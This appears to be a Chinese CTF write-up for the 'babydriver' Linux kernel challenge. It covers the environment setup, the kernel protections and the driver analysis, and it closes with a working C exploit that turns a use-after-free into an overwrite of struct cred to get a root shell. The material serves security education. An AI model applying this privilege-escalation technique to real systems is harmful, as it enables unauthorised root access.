接触内核pwn(babydriver)

分析

拿到babydriver题目附件后得到的文件如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sesTZJaL-1649688327552)(入门内核pwn(babydriver).assets/image-20220407123958143.png)]

发现运行内核就报错,内容如下:

Could not access KVM kernel module: No such file or directory qemu-system-x86_64: failed to initialize KVM: No such file or directory

未能初始化kvm,大概率是因为系统不支持虚拟化,具体可通过如下命令查看是否支持

egrep '^flags.*(vmx|svm)' /proc/cpuinfo 
#输出空则表示不支持

因为我用的pd虚拟机所以设置如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7hTzEpZ6-1649688327554)(入门内核pwn(babydriver).assets/image-20220407134209512.png)]

要修改这个选项的话需要先关机虚拟机然后才能改这个设置。

在输入上面的命令看看输出情况如下图,ok成功启动

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fV5bTWxn-1649688327555)(入门内核pwn(babydriver).assets/image-20220407134553581.png)]

系统信息如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-m328yqAY-1649688327556)(入门内核pwn(babydriver).assets/image-20220407134625424.png)]

首先查看init文件默认加载的信息,如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hI2Xj0Cv-1649688327557)(入门内核pwn(babydriver).assets/image-20220407134945266.png)]

简单的了解到这题是需要进行内核提权,那么就需要获取到目标的内核漏洞模块(babydriver.ko

思路

使用file rootfs.cpio 查看文件如图,发现是个gzip文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fUb8SBup-1649688327558)(入门内核pwn(babydriver).assets/image-20220407135311541.png)]

那么对它进行改后缀名为.gz文件即可解压了,得到CPIO格式的文件即可正常的处理解压得到文件系统了

mv rootfs.cpio rootfs.cpio.gz
gunzip rootfs.cpio.gz
mkdir rootfs #用于存放文件系统
cd rootfs
cpio -idmv < ../rootfs.cpio

那么现在目标模块的在rootfs/lib/modules/4.4.72/

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QqGmJACq-1649688327559)(入门内核pwn(babydriver).assets/image-20220407135927765.png)]

保护

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fYiKh0wL-1649688327559)(入门内核pwn(babydriver).assets/image-20220407140411101.png)]

先看看上面的checksec检查的保护:

KASLR

KASLR即内核空间地址随机化(kernel address space layout randomize),与用户态程序的ASLR相类似——在内核镜像映射到实际的地址空间时加上一个偏移值,但是内核内部的相对偏移其实还是不变的

在未开启KASLR保护机制时,内核的基址为0xffffffff81000000,内核内存布局可以参考这↑里↓

FGKASLR

KASLR 虽然在一定程度上能够缓解攻击,但是若是攻击者通过一些信息泄露漏洞获取到内核中的某个地址,仍能够直接得知内核加载地址偏移从而得知整个内核地址布局,因此有研究者基于 KASLR 实现了 FGKASLR,以函数粒度重新排布内核代码

STACK PROTECTOR

类似于用户态程序的canary,通常又被称作是stack cookie,用以检测是否发生内核堆栈溢出,若是发生内核堆栈溢出则会产生kernel panic。内核中的canary的值通常取自gs段寄存器某个固定偏移处的值

SMAP/SMEP

SMAP即管理模式访问保护(Supervisor Mode Access Prevention),SMEP即管理模式执行保护(Supervisor Mode Execution Prevention),这两种保护通常是同时开启的,用以阻止内核空间直接访问/执行用户空间的数据,完全地将内核空间与用户空间相分隔开,用以防范ret2usr(return-to-user,将内核空间的指令指针重定向至用户空间上构造好的提权代码)攻击

SMEP保护的绕过有以下两种方式:

  • 在设计中,为了使隔离的数据进行交换时具有更高的性能,隐性地址共享始终存在(VDSO & VSYSCALL),用户态进程与内核共享同一块物理内存,因此通过隐性内存共享可以完整的绕过软件和硬件的隔离保护,这种攻击方式被称之为ret2dir(return-to-direct-mapped memory )
  • Intel下系统根据CR4控制寄存器的第20位标识是否开启SMEP保护(1为开启,0为关闭),若是能够通过kernel ROP改变CR4寄存器的值便能够关闭SMEP保护,完成SMEP-bypass,接下来就能够重新进行ret2usr

KPTI

KPTI即内核页表隔离(Kernel page-table isolation),内核空间与用户空间分别使用两组不同的页表集,这对于内核的内存管理产生了根本性的变化

KPTI 机制的出现使得 ret2usr 彻底成为过去式

babydriver.ko放入IDA中进入到babydriver_init模块入口函数,简单分析如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nSrtUdqW-1649688327560)(入门内核pwn(babydriver).assets/image-20220407175802956.png)]

模块流程核心函数如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-koWcsTr6-1649688327561)(入门内核pwn(babydriver).assets/image-20220407191925053.png)]

具体定义:

/*
*alloc_chrdev_Region()-注册一系列字符设备号
*@dev:第一个分配号码的输出参数
*@basminor:请求的次要号码范围中的第一个
*@count:需要的次要号码数
*@name:关联设备或驱动程序的名称
*/
int alloc_chrdev_region(dev_t *dev, unsigned baseminor, unsigned count,
			const char *name)
{
	struct char_device_struct *cd;
	cd = __register_chrdev_region(0, baseminor, count, name);
	if (IS_ERR(cd))
		return PTR_ERR(cd);
	*dev = MKDEV(cd->major, cd->baseminor);
	return 0;
}
/**
*CDEV_init()-初始化CDEV结构
*@CDEV:要初始化的结构
*@fops:该设备的FILE_OPERIONS
 */
void cdev_init(struct cdev *cdev, const struct file_operations *fops)
{
	memset(cdev, 0, sizeof *cdev);
	INIT_LIST_HEAD(&cdev->list);
	kobject_init(&cdev->kobj, &ktype_cdev_default);
	cdev->ops = fops;
}
/**
*CDEV_Add()-向系统添加设备
*@p:设备的CDEV结构
*@dev:该设备负责的第一个设备号
*@count:与此对应的连续次要编号的个数设备
*
*CDEV_Add()将@p表示的设备添加到系统中,使其
*立即上线。如果失败,则返回负错误代码。
*/
int cdev_add(struct cdev *p, dev_t dev, unsigned count)
{
	int error;

	p->dev = dev;
	p->count = count;

	error = kobj_map(cdev_map, dev, count, NULL,
			 exact_match, exact_lock, p);
	if (error)
		return error;

	kobject_get(p->kobj.parent);

	return 0;
}
/**
*CLASS_CREATE-创建结构类结构
*@Owner:指向“拥有”此结构类的模块的指针
*@name:指向此类名称的字符串的指针。
*@key:此类的lock_CLASS_KEY;用于互斥锁调试
*
*这用于创建结构类指针,然后可以使用该指针
*在对Device_Create()的调用中。
*
*成功时返回&struct类指针,错误时返回err_ptr()。
*
*注意,此处创建的指针在完成时将被销毁
*调用CLASS_Destroy()。
*/
struct class *__class_create(struct module *owner, const char *name,
			     struct lock_class_key *key)
{
	struct class *cls;
	int retval;

	cls = kzalloc(sizeof(*cls), GFP_KERNEL);
	if (!cls) {
		retval = -ENOMEM;
		goto error;
	}

	cls->name = name;
	cls->owner = owner;
	cls->class_release = class_create_release;

	retval = __class_register(cls, key);
	if (retval)
		goto error;

	return cls;

error:
	kfree(cls);
	return ERR_PTR(retval);
}
/**
*DEVICE_CREATE-创建设备并将其注册到系统文件系统
*@CLASS:指向此设备应注册到的结构类的指针
*@Parent:指向此新设备的父结构设备的指针(如果有
*@Devt:要添加的Charr设备的dev_t
*@drvdata:要添加到设备中进行回调的数据
*@fmt:设备名称字符串
*/
struct device *device_create(struct class *class, struct device *parent,
			     dev_t devt, void *drvdata, const char *fmt, ...)
{
	va_list vargs;
	struct device *dev;

	va_start(vargs, fmt);
	dev = device_create_vargs(class, parent, devt, drvdata, fmt, vargs);
	va_end(vargs);
	return dev;
}

babyopen函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cMNzCAd5-1649688327562)(入门内核pwn(babydriver).assets/image-20220407222610082.png)]

可以注意到参数分别是struct inode *inode, struct file *filp

inode结构存储有关文件和目录(文件夹)的信息,例如文件所有权、访问模式(读取、写入、执行权限)和文件类型。

file结构代表一个打开的文件。(它不特定于设备驱动程序;系统中每个打开的文件在struct file内核空间中都有一个关联。)直到最后一个close。在文件的所有实例都关闭后,内核释放数据结构

babyread:
在这里插入图片描述

babywrite:在这里插入图片描述

babyioctl:在这里插入图片描述

babyrelease函数:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GTPe18bb-1649688327565)(入门内核pwn(babydriver).assets/image-20220407194501638.png)]

综上可知release函数存在一个uaf漏洞,ioctl函数可以重新分配指定大小的堆块

那么现在获取vmlinux可通过上面👆的extract-vmlinux.sh脚本得到,但是逆向工程的时候它的函数名都是识别不了的,具体如下图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MmvUrWNm-1649688327566)(入门内核pwn(babydriver).assets/image-20220408125502608.png)]

那么推荐vmlinux-to-elf工具,可以自动检测以下内核压缩格式:XZ、LZMA、GZip、BZ2、LZ4、LZO 和 Zstd,它是python库,安装命令如下:

sudo pip3 install git+https://github.com/marin-m/vmlinux-to-elf
#使用:vmlinux-to-elf <input_kernel.bin> <output_kernel.elf> ---> vmlinux-to-elf bzImage vmlinux

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1QJO4DbD-1649688327567)(入门内核pwn(babydriver).assets/image-20220408131502327.png)]

逆向工程:在这里插入图片描述

现在需要在文件系统写一个可执行文件的exp利用题目模块提供的函数进行提权

比如:将一个demo.c文件编译成demo文件再将它放入到rootfs目录下对他重新打包运行到内核中即可在内核中运行它了,一般这个demo.c文件就是我们写的exp进行攻击提取的payload

gdb调试exp

在做用户态的pwn题时,gdb功能少不了那么内核态也是一样的,写入测试文件exp.c

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main() {
    open("/dev/babydev", O_RDWR); // 可读写
    return 0;
}

然后gcc -o roots/exp -static exp.c因为题目的文件系统没有动态链接库所以这里采用静态链接方式写入exp程序到内核系统中,然后进入到rootfs目录下重新打包文件系统,命令如下:

cd rootfs
find . | cpio -o --format=newc > ../rootfs.cpio

执行boot.sh文件启动内核,如果boot.sh中没有加-s映射端口参数就手动添加进去,启动内核如下图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mRtYc7TX-1649688327569)(入门内核pwn(babydriver).assets/image-20220408180517730.png)]

这是就可以挂起gdb调试了命令如下:

gdb -ex "file vmlinux"\
    -ex "add-symbol-file babydriver.ko 0xffffffffc0000000"\  #手动加载ko符号,下面就可以设置函数断电了,0xffffffffc0000000是模块的基地址,在内核	系统中执行lsmod即可得到
    -ex "target remote localhost:1234"\
    -ex "b babyopen" \

执行后即可正常下入断点

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-s7oQyTcp-1649688327570)(入门内核pwn(babydriver).assets/image-20220408181143161.png)]

然后就是gdb跳入到断点,右边执行exp即可断下来

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6NYKc0B6-1649688327570)(入门内核pwn(babydriver).assets/image-20220408181308791.png)]

后面就可以利用漏洞模块进行攻击提权了

利用

linux系统中,一个对象操作另一个对象时通常要做安全性检查。如一个进程操作一个文件,要检查进程是否有权限操作该文件。

通过ps -f命令即可得到该正在运行的进程,如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lDjk8jWg-1649688327571)(入门内核pwn(babydriver).assets/image-20220408223238973.png)]

从上面可以看到进程的详细信息su程序的用户的是root,设有SETUID标志则普通用户在执行该程序时可以修改需要root权限的/etc/passwd文件

当使用sudo进暂时提权运行程序时:实际用户uid=500(redhat)不变,保存用户suid、有效用户euid均变成0(root)

内核中主要有三个用户:uid(实际用户)、euid(有效用户)、suid(保存用户),可通过setuidseteuidsetreuid系统调用实现用户切换

那么到这里就引出了一个关键的结构体cred ,它用于 保存每个进程的权限定义如下:

struct cred {
	atomic_t	usage;
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
	kuid_t		uid;		/* 实际用户id */
	kgid_t		gid;		/* 实际用户组id */
	kuid_t		suid;		/* 保存的用户uid */
	kgid_t		sgid;		/* 保存的用户组gid */
	kuid_t		euid;		/* 真正有效的用户id */
	kgid_t		egid;		/* 真正有效的用户组id */
	kuid_t		fsuid;		
	kgid_t		fsgid;		
	unsigned	securebits;	/* 安全管理标识;用来控制凭证的操作与继承 */
	kernel_cap_t	cap_inheritable; /* execve时可以继承的权限 */
	kernel_cap_t	cap_permitted;	/* 可以(通过capset)赋予cap_effective的权限 */
	kernel_cap_t	cap_effective;	/* 进程实际使用的权限 */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
  //。。。。。。
	};
} __randomize_layout;

我们知道root身份的id组id都是0表示最高权限,一般我们使用的管理员用户就是1000

那么我们在内核创建一个新的进程时,改变进程的cred结构体uid和gid都为0也就完成了提权到root

整体思路如下:
  1. 利用漏洞模块中的uafstruct cred分配到我们可写的内存区
  2. 修改该进程的uid、gid值为0
  3. 在该进程中以root身份执行system('/bin/sh')最终提权

​ 现在回到逆向工程中,open()申请了一块0x40大小的内存块,release()存在一个uaf ,而ioctl()将申请的内存块free掉然后用户指定的size再次申请有点类似于malloc()realloc(),那么我们就只需要得到struct cred的内存大小,然后造成一个悬指针即可控制struct cred

因为题目给的压缩内核镜像不带符号表,我们可以自己编译一个一样版本的内核镜像,再gdb调试计算struct cred大小

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4S2t5ljN-1649688327572)(入门内核pwn(babydriver).assets/image-20220408233209678.png)]

编写exp.c如下:

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <unistd.h>

int main() {
  /*在用户进程空间中,当执行close(fd)之后,该进程将无法再使用这个文件描述符
   *因为题目的分配内存的指针保存在bss段babydev_struct中
   *所以alloc两个fd这样后面就可以通过修改fd2对device_buf操作
  */
    int fd1 = open("/dev/babydev", O_RDWR); // alloc1
    int fd2 = open("/dev/babydev", O_RDWR); // alloc2
    ioctl(fd1, 0x10001, 0xa8);    // realloc size -> 0xa8对应着进程cred大小
    close(fd1); // free  -> uaf

    if (!fork()) {    //注意这里采用fork()分配进程,最终会执行prepare_creds得到创建cred结构体目的
       //子进程
        char mem[28]; // 大小为sizeof(atomic_t)*2 + sizeof(void *) + sizeof(unsigned) + sizeof(kuid_t)*2 刚好覆盖到uid、gid
        memset(mem, '\x00', sizeof(mem));
        write(fd2, mem, sizeof(mem)); //覆盖数据

        // get shell
        system("/bin/sh");
    }
    else
        waitpid(-1, NULL, 0);//这里需要等待子进程,如果父进程结束那么子进程则无法在getshell后输入输出
    return 0;
}

最终将exp.c编译成可执行文件放入文件系统重新打包,内核运行./exp即可提权到root

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W20eefaK-1649688327573)(入门内核pwn(babydriver).assets/image-20220408235835525.png)]

上述的一些操作可以写成一个脚本如下:

start.sh

# 静态编译 exp
gcc exp.c -static -o rootfs/exp

# rootfs 打包
pushd rootfs
find . | cpio -o --format=newc > ../rootfs.cpio
popd

# 启动 qemu
sudo qemu-system-x86_64 \
    -initrd rootfs.cpio \
    -kernel bzImage \
    -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
    -enable-kvm \
    -monitor /dev/null \
    -m 64M \
    --nographic  \
    -smp cores=1,threads=1 \
    -cpu kvm64,+smep \
    -s

工作目录:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9JdxKrT7-1649688327573)(入门内核pwn(babydriver).assets/image-20220409000258731.png)]

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值